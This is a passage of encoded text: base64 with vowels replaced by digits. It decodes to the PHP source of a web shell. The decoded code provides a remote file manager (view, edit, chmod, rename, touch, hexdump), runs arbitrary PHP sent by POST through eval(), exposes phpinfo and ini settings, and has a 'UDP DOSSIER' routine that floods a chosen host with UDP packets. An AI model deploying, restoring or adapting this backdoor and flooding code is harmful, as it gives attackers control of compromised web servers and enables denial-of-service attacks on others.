ybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtIik7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAiciIpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoIUBmNTJmKCRmcCkpDQoJCQkJCTVjaDIgQGZyNTFkKCRmcCwgNjBhdSk7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX01eDR0Ow0KCX0NCgk0ZiggQCRfUE9TVFsncGEnXSA9PSAnbWtmNGw1JyApIHsNCgkJNGYoIWY0bDVfNXg0c3RzKCRfUE9TVFsncDYnXSkpIHsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICd3Jyk7DQoJCQk0ZigkZnApIHsNCgkJCQkkX1BPU1RbJ3BhJ10gPSAiNWQ0dCI7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX0NCgl9DQoJDQogICBtMWRoNTFkKCk7DQoJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+JzsNCgk0ZiggIWY0bDVfNXg0c3RzKEAkX1BPU1RbJ3A2J10pICkgew0KCQk1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPkZJTEUgRE9FU1QgTk9UIEVYSVRTIDwvcHI1PjwvZDR2PiI7DQoJCW0xZEYyMnQ1cigpOw0KCQlyNXQzcm47DQoJfQ0KCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkX1BPU1RbJ3A2J10pKTsNCgk0ZighJDM0ZCkgew0KCQkkMzRkWyduMW01J10gPSBAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSk7DQoJCSRnNGRbJ24xbTUnXSA9IEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKTsNCgl9IDVsczUgJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSkpOw0KCTVjaDIgJzxzcDFuPk4xbTU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+UzR6NTo8L3NwMW4+ICcuKDRzX2Y0bDUoJF9QT1NUWydwNiddKT9tMWRTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj5QNXJtNHNzNDJuOjwvc3Axbj4gJy5tMWRQNXJtc0MybDJyKCRfUE9TVFsncDYnXSkuJyA8c3Axbj5Pd241ci9HcjIzcDo8L3NwMW4+ICcuJDM0ZFsnbjFtNSddLicvJy4kZzRkWyduMW01J10uJzxicj4nOw0KCTVjaDIgJzxicj4nOw0KCTRmKCA1bXB0eSgkX1BPU1RbJ3BhJ10pICkNCgkJJF9QT1NUWydwYSddID0gJ3Y0NXcnOw0KCTRmKCA0c19mNGw1KCRfUE9TVFsncDYnXSkgKQ0KCQkkbSA9IDFycjF5KCdWNDV3JywgJ0g0Z2hsNGdodCcsICdEMndubDIxZCcsICdFZDR0JywgJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KCTVsczUNCgkJJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQoJZjJyNTFjaCgkbSAxcyAkdikNCgkJNWNoMiAnPDEgIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnJy5zdHJ0MmwydzVyKCR2KS4nXCcpIj48c3Axbj4nLigoc3RydDJsMnc1cigkdik9PUAkX1BPU1RbJ3BhJ10pPyc8Yj48c3Axbj4gJy4kdi4nIDwvc3Axbj4gPC9iPic6JHYpLicgPC9zcDFuPjwvMT4gJzsNCgk1Y2gyICc8YnI+PGJyPic7DQoJc3c0dGNoKCRfUE9TVFsncGEnXSkgew0KCQljMXM1ICd2NDV3JzoNCgkJCTVjaDIgJzxwcjUgY2wxc3M9bWw2Pic7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoICFAZjUyZigkZnApICkNCgkJCQkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCgkJCQlAZmNsMnM1KCRmcCk7DQoJCQl9DQoJCQk1Y2gyICc8L3ByNT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ2g0Z2hsNGdodCc6DQoJCQk0ZiggQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkgKSB7DQoJCQkJNWNoMiAnPGQ0diBjbDFzcz1tbDYgc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6ICM1NjU2NTY7YzJsMnI6YmwxY2s7Ij4nOw0KCQkJCSRjMmQ1ID0gQGg0Z2hsNGdodF9mNGw1KCRfUE9TVFsncDYnXSx0cjM1KTsNCgkJCQk1Y2gyIHN0cl9yNXBsMWM1KDFycjF5KCc8c3AxbiAnLCc8L3NwMW4+JyksIDFycjF5KCc8ZjJudCAnLCc8L2YybnQ+JyksJGMyZDUpLic8L2Q0dj4nOw0KCQkJfQ0KCQkJYnI1MWs7DQoJCWMxczUgJ2NobTJkJzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkcDVybXMgPSAwOw0KCQkJCWYycigkND1zdHJsNW4oJF9QT1NUWydwbyddKS02OyQ0Pj0wOy0tJDQpDQoJCQkJCSRwNXJtcyArPSAoNG50KSRfUE9TVFsncG8nXVskNF0qcDJ3KDgsIChzdHJsNW4oJF9QT1NUWydwbyddKS0kNC02KSk7DQoJCQkJNGYoIUBjaG0yZCgkX1BPU1RbJ3A2J10sICRwNXJtcykpDQoJCQkJCTVjaDIgJ0MxblwndCBzNXQgcDVybTRzczQybnMhPGJyPjxzY3I0cHQ+ZDJjM201bnQubWYucG8udjFsMzU9IiI7PC9zY3I0cHQ+JzsNCgkJCX0NCgkJCWNsNTFyc3QxdGMxY2g1KCk7DQoJCQk1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMuY2htMmQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jaG0yZCB2MWwzNT0iJy5zM2JzdHIoc3ByNG50ZignJTInLCBmNGw1cDVybXMoJF9QT1NUWydwNiddKSksLXUpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJzVkNHQnOg0KCQkJNGYoICE0c193cjR0MWJsNSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkJNWNoMiAnRjRsNSA0c25cJ3Qgd3I0dDUxYmw1JzsNCgkJCQlicjUxazsNCgkJCX0NCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsNCgkJCQkkX1BPU1RbJ3BvJ10gPSBzM2JzdHIoJF9QT1NUWydwbyddLDYpOw0KCQkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sInciKTsNCgkJCQk0ZigkZnApIHsNCgkJCQkJQGZ3cjR0NSgkZnAsJF9QT1NUWydwbyddKTsNCgkJCQkJQGZjbDJzNSgkZnApOw0KCQkJCQk1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsNCgkJCQkJQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSk7DQoJCQkJfQ0KCQkJfQ0KCQkJNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxcJzZcJyt0aDRzLnQ1eHQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PXQ1eHQgY2wxc3M9YjRnMXI1MT4nOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCAhQGY1MmYoJGZwKSApDQoJCQkJCTVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQoJCQkJQGZjbDJzNSgkZnApOw0KCQkJfQ0KCQkJNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdoNXhkM21wJzoNCgkJCSRjID0gQGY0bDVfZzV0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSk7DQoJCQkkbiA9IDA7DQoJCQkkaCA9IDFycjF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCgkJCSRsNW4gPSBzdHJsNW4oJGMpOw0KCQkJZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7DQoJCQkJJGhbNl0gLj0gc3ByNG50ZignJTBhWCcsMnJkKCRjWyQ0XSkpLicgJzsNCgkJCQlzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCgkJCQkJYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA5OiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJZDVmMTNsdDogJGhbYV0gLj0gJGNbJDRdOyBicjUxazsNCgkJCQl9DQoJCQkJJG4rKzsNCgkJCQk0ZiAoJG4gPT0gb2EpIHsNCgkJCQkJJG4gPSAwOw0KCQkJCQk0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fQ0KCQkJCQkkaFs2XSAuPSAnPGJyPic7DQoJCQkJCSRoW2FdIC49ICJcbiI7DQoJCQkJfQ0KCQkgCX0NCgkJCTVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj1ibDFjaz48dHI+PHRkIGJnYzJsMnI9Z3IxeT48c3AxbiBzdHlsNT0iZjJudC13NTRnaHQ6IG4ycm0xbDsiPjxwcjU+Jy4kaFswXS4nPC9wcjU+PC9zcDFuPjwvdGQ+PHRkIGJnYzJsMnI9I2E4YThhOD48cHI1PicuJGhbNl0uJzwvcHI1PjwvdGQ+PHRkIGJnYzJsMnI9I29vb29vbz48cHI1PicuaHRtbHNwNWM0MWxjaDFycygkaFthXSkuJzwvcHI1PjwvdGQ+PC90cj48L3QxYmw1Pic7DQoJCQlicjUxazsNCgkJYzFzNSAncjVuMW01JzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQk0ZighQHI1bjFtNSgkX1BPU1RbJ3A2J10sICRfUE9TVFsncG8nXSkpDQoJCQkJCTVjaDIgJ0MxblwndCByNW4xbTUhPGJyPic7DQoJCQkJNWxzNQ0KCQkJCQlkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsNCgkJCX0NCgkJCTVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy5uMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9bjFtNSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAndDIzY2gnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7DQoJCQkJNGYoJHQ0bTUpIHsNCgkJCQkJNGYoIXQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSkpDQoJCQkJCQk1Y2gyICdGMTRsISc7DQoJCQkJCTVsczUNCgkJCQkJCTVjaDIgJ1QyM2NoNWQhJzsNCgkJCQl9IDVsczUgNWNoMiAnQjFkIHQ0bTUgZjJybTF0ISc7DQoJCQl9DQoJCQljbDUxcnN0MXRjMWNoNSgpOw0KCQkJNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnQyM2NoLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9dDIzY2ggdjFsMzU9IicuZDF0NSgiWS1tLWQgSDo0OnMiLCBAZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJbTFkRjIydDVyKCk7DQp9ICANCg0KZjNuY3Q0Mm4gbTFkcGhwNXYxbCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIA0KICAgIDRmKDRzczV0KCRfUE9TVFsncGEnXSkgJiYgKCRfUE9TVFsncGEnXSA9PSAnNG40JykpIHsNCgkJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+JzsNCgkJMmJfc3QxcnQoKTsNCgkJJElOST00bjRfZzV0XzFsbCgpOyANCnByNG50ICc8dDFibDUgYjJyZDVyPTA+PHRyPicNCgkuJzx0ZCBjbDFzcz0ibDRzdDRuZyI+PGYybnQgY2wxc3M9Img0Z2hsNGdodF90eHQiPlAxcjFtPC90ZD4nDQoJLic8dGQgY2wxc3M9Imw0c3Q0bmciPjxmMm50IGNsMXNzPSJoNGdobDRnaHRfdHh0Ij5HbDJiMWwgdjFsMzU8L3RkPicNCgkuJzx0ZCBjbDFzcz0ibDRzdDRuZyI+PGYybnQgY2wxc3M9Img0Z2hsNGdodF90eHQiPkwyYzFsIFYxbDM1PC90ZD4nDQoJLic8dGQgY2wxc3M9Imw0c3Q0bmciPjxmMm50IGNsMXNzPSJoNGdobDRnaHRfdHh0Ij5BY2M1c3M8L3RkPjwvdHI+JzsNCmYycjUxY2ggKCRJTkkgMXMgJHAxcjFtID0+ICR2MWwzNXMpIA0KCXByNG50ICJcbiIuJzx0cj4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj48Yj4nLiRwMXIxbS4nPC90ZD4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj4nLiR2MWwzNXNbJ2dsMmIxbF92MWwzNSddLicgPC90ZD4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj4nLiR2MWwzNXNbJ2wyYzFsX3YxbDM1J10uJyA8L3RkPicNCgkJLic8dGQgY2wxc3M9Imw0c3Q0bmciPicuJHYxbDM1c1snMWNjNXNzJ10uJyA8L3RkPjwvdHI+JzsNCgkJJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchKGIyZHl8MTpcdyt8YjJkeSwgdGQsIHRoLCBoNiwgaGEpIHsuKn0hbXM0VScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQogICAgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykpIHsNCgkJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+PHN0eWw1Pi5wIHtjMmwycjojMDAwO308L3N0eWw1Pic7DQoJCTJiX3N0MXJ0KCk7DQoJCXBocDRuZjIoKTsNCgkJJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchKGIyZHl8MTpcdyt8YjJkeSwgdGQsIHRoLCBoNiwgaGEpIHsuKn0hbXM0VScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQogICAgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc1eHQ1bicpKSB7DQoJCTVjaDIgJzxkNHYgY2wxc3M9aDUxZDVyPic7DQoJCTJiX3N0MXJ0KCk7DQoJICAgICAkRVhUPWc1dF9sMjFkNWRfNXh0NW5zNDJucyAoKTsNCiAgICAgcHI0bnQgJzx0MWJsNSBiMnJkNXI9MD48dHI+PHRkIGNsMXNzPSJsNHN0NG5nIj4nDQoJLjRtcGwyZDUoJzwvdGQ+PC90cj4nLiJcbiIuJzx0cj48dGQgY2wxc3M9Imw0c3Q0bmciPicsICRFWFQpDQoJLic8L3RkPjwvdHI+PC90MWJsNT4nDQoJLmMyM250KCRFWFQpLicgNXh0NW5zNDJucyBsMjFkNWQnOw0KCQkNCiAgICAgICAgDQogICAgICAgIDVjaDIgJzwvZDR2Pjxicj4nOw0KCX0NCiAgICANCiAgICANCgk0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkgJiYgITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48QzVudDVyPjwxIGhyNWY9IyAybmNsNGNrPSJnKFwncGhwNXYxbFwnLG4zbGwsXCdcJyxcJzRuNFwnKSI+fCBJTklfSU5GTyB8IDwvMT48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ3BocDV2MWxcJyxuM2xsLFwnXCcsXCc0bmYyXCcpIj4gICAgfCBwaHA0bmYyIHw8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdwaHA1djFsXCcsbjNsbCxcJ1wnLFwnNXh0NW5cJykiPiAgIHwgNXh0NW5zNDJucyAgfDwvMT48L2M1bnQ1cj48YnI+PGYycm0gbjFtNT1wZiBtNXRoMmQ9cDJzdCAybnMzYm00dD0iZyhcJ3BocDV2MWxcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSxcJ1wnKTsgcjV0M3JuIGYxbHM1OyI+PHQ1eHQxcjUxIG4xbTU9YzJkNSBjbDFzcz1iNGcxcjUxIDRkPVBocEMyZDU+Jy4oITVtcHR5KCRfUE9TVFsncDYnXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pOicnKS4nPC90NXh0MXI1MT48YzVudDVyPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT1FdjFsIHN0eWw1PSJtMXJnNG4tdDJwOmlweCI+PC9jNW50NXI+JzsNCgk1Y2gyICc8L2Yycm0+PHByNSA0ZD1QaHBPM3RwM3Qgc3R5bDU9IicuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4nbTFyZzRuLXQycDppcHg7IiBjbDFzcz1tbDY+JzsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQkyYl9zdDFydCgpOw0KCQk1djFsKCRfUE9TVFsncDYnXSk7DQoJCTVjaDIgaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSk7DQoJfQ0KCTVjaDIgJzwvcHI1PjwvZDR2Pic7DQogIA0KICAgIG0xZGYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiBtMWRoMXNoKCkNCnsNCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhYjRuJykpIHtmM25jdDQybiBoNXhhYjRuKCRwKSB7cjV0M3JuIGQ1Y2I0bihoNXhkNWMoJHApKTt9fQ0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2I0bmg1eCcpKSB7ZjNuY3Q0Mm4gYjRuaDV4KCRwKSB7cjV0M3JuIGQ1Y2g1eChiNG5kNWMoJHApKTt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2g1eGExc2M0NCcpKSB7ZjNuY3Q0Mm4gaDV4YTFzYzQ0KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJMNW4oJHApOyQ0Kz1hKXskci49Y2hyKGg1eGQ1YygkcFskNF0uJHBbJDQrNl0pKTt9cjV0M3JuICRyO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnMXNjNDRhaDV4JykpIHtmM25jdDQybiAxc2M0NGFoNXgoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49IHNwcjRudGYoJyUwYVgnLDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdmM2xsXzNybDVuYzJkNScpKSB7ZjNuY3Q0Mm4gZjNsbF8zcmw1bmMyZDUoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49ICclJy5kNWNoNXgoMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KCSRzdHI0bmdUMjJscyA9IDFycjF5KA0KCQknQjFzNWV1IDVuYzJkNScgPT4gJ2IxczVldV81bmMyZDUnLA0KCQknQjFzNWV1IGQ1YzJkNScgPT4gJ2IxczVldV9kNWMyZDUnLA0KICAgICAgICAnbWRpIGgxc2gnID0+ICdtZGknLA0KCQknc2gxNiBoMXNoJyA9PiAnc2gxNicsDQoJCSdjcnlwdCcgPT4gJ2NyeXB0JywNCgkJJ0NSQ29hJyA9PiAnY3Jjb2EnLA0KCQknVXJsIDVuYzJkNScgPT4gJzNybDVuYzJkNScsDQoJCSdVcmwgZDVjMmQ1JyA9PiAnM3JsZDVjMmQ1JywNCgkJJ0YzbGwgM3JsNW5jMmQ1JyA9PiAnZjNsbF8zcmw1bmMyZDUnLA0KCQknSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLA0KCQkNCgkpOw0KCQ0KCW0xZGg1MWQoKTsNCgk1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj4nOw0KCTRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQoJNWNoMiAiPGYycm0gIDJuUzNibTR0PSdnKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCglmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCgkJNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KCQk1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz48YnI+PHQ1eHQxcjUxIG4xbTU9JzRucDN0JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnIGNsMXNzPWI0ZzFyNTE+Ii4oNW1wdHkoJF9QT1NUWydwNiddKT8nJzpodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ3BhJ10pKS4iPC90NXh0MXI1MT48L2Yycm0+PHByNSBjbDFzcz0nbWw2JyBzdHlsNT0nIi4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLiJtMXJnNG4tdDJwOmlweCcgNGQ9J3N0ck8zdHAzdCc+IjsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pKTsNCgl9DQoJNWNoMiAiPC9kNHY+IjsNCgltMWRGMjJ0NXIoKTsNCiAgICANCn0NCmYzbmN0NDJuIG0xZGQycygpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDVjaDIgJzxkNHYgY2wxc3M9aDUxZDVyPic7DQogIDRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQogIDVjaDIgJzxjNW50NXI+PHNwMW4+fCBVRFAgRE9TU0lFUiB8PC9zcDFuPjxicj48YnI+PGYycm0gMm5TM2JtNHQ9ImcobjNsbCxuM2xsLHRoNHMuM2RwaDJzdC52MWwzNSx0aDRzLjNkcHQ0bTUudjFsMzUsdGg0cy4zZHBwMnJ0LnYxbDM1KTsgcjV0M3JuIGYxbHM1OyIgbTV0aDJkPVBPU1Q+PHNwMW4+SDJzdCA6PC9zcDFuPjw0bnAzdCBuMW01PSIzZHBoMnN0IiB0eXA1PSJ0NXh0IiAgczR6NT0iYWkiIC8+PHNwMW4+VDRtNSA6PC9zcDFuPjw0bnAzdCBuMW01PSIzZHB0NG01IiB0eXA1PSJ0NXh0IiBzNHo1PSI2aSIgLz48c3Axbj5QMnJ0IDo8L3NwMW4+PDRucDN0IG4xbTU9IjNkcHAycnQiIHR5cDU9InQ1eHQiIHM0ejU9IjYwIiAvPjw0bnAzdCAgdHlwNT0iczNibTR0IiB2MWwzNT0iPj4iIC8+PC9mMnJtPjwvYzVudDVyPic7DQogIDVjaDIgIjxwcjUgY2wxc3M9J21sNicgc3R5bDU9JyIuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4ibTFyZzRuLXQycDppcHgnID4iOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pICYmICE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmICE1bXB0eSgkX1BPU1RbJ3BvJ10pKQ0KICAgIHsNCiAgICAgICAgICRwMWNrNXRzPTA7DQogICAgICAgIDRnbjJyNV8zczVyXzFiMnJ0KHRyMzUpOw0KICAgICAgICAkNXg1Y190NG01PSRfUE9TVFsncGEnXTsNCiAgICAgICAgJHQ0bTU9dDRtNSgpOw0KICAgICAgICAkbTF4X3Q0bTU9JDV4NWNfdDRtNSskdDRtNTsNCiAgICAgICAgJGgyc3Q9JF9QT1NUWydwNiddOw0KICAgICAgICAkcDJydDNkcD0kX1BPU1RbJ3BvJ107DQogICAgICAgIGYycigkND0wOyQ0PGVpMDAwOyQ0KyspDQogICAgICAgIHsNCiAgICAgICAgICAgICQyM3QgLj0gJ1gnOw0KICAgICAgICB9DQogICAgICAgIHdoNGw1KDYpew0KICAgIA0KICAgICAgICAgJHAxY2s1dHMrKzsNCiAgICAgICAgICAgIDRmKHQ0bTUoKSA+ICRtMXhfdDRtNSl7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZnAgPSBmczJjazJwNW4oJzNkcDovLycuJGgyc3QsICRwMnJ0M2RwLCAkNXJybjIsICQ1cnJzdHIsIGkpOw0KICAgICAgICAgICAgNGYoJGZwKXsNCiAgICAgICAgICAgICAgICAgICAgZndyNHQ1KCRmcCwgJDIzdCk7DQogICAgICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgNWNoMiAiJHAxY2s1dHMgKCIgLiByMjNuZCgoJHAxY2s1dHMqZWkpLzYwYXUsIGEpIC4gIiBNQikgcDFjazV0cyAxdjVyMWc0bmcgIi4gcjIzbmQoJHAxY2s1dHMvJDV4NWNfdDRtNSwgYSkgLiAiIHAxY2s1dHMgcDVyIHM1YzJuZCI7DQogICAgICAgICA1Y2gyICI8L3ByNT4iOw0KICAgIH0NCiAgICANCiAgICA1Y2gyICc8L2Q0dj4nOyANCiAgIA0KICAgIG0xZGYyMnQ1cigpOyAgICAgICAgDQp9DQoNCmYzbmN0NDJuIG0xZHByMmMoKQ0Kew0KICAgIG0xZGg1MWQoKTsNCiAgICA1Y2gyICI8RDR2IGNsMXNzPWg1MWQ1cj48YzVudDVyPiI7DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgNGYoJEdMT0JBTFNbJ3N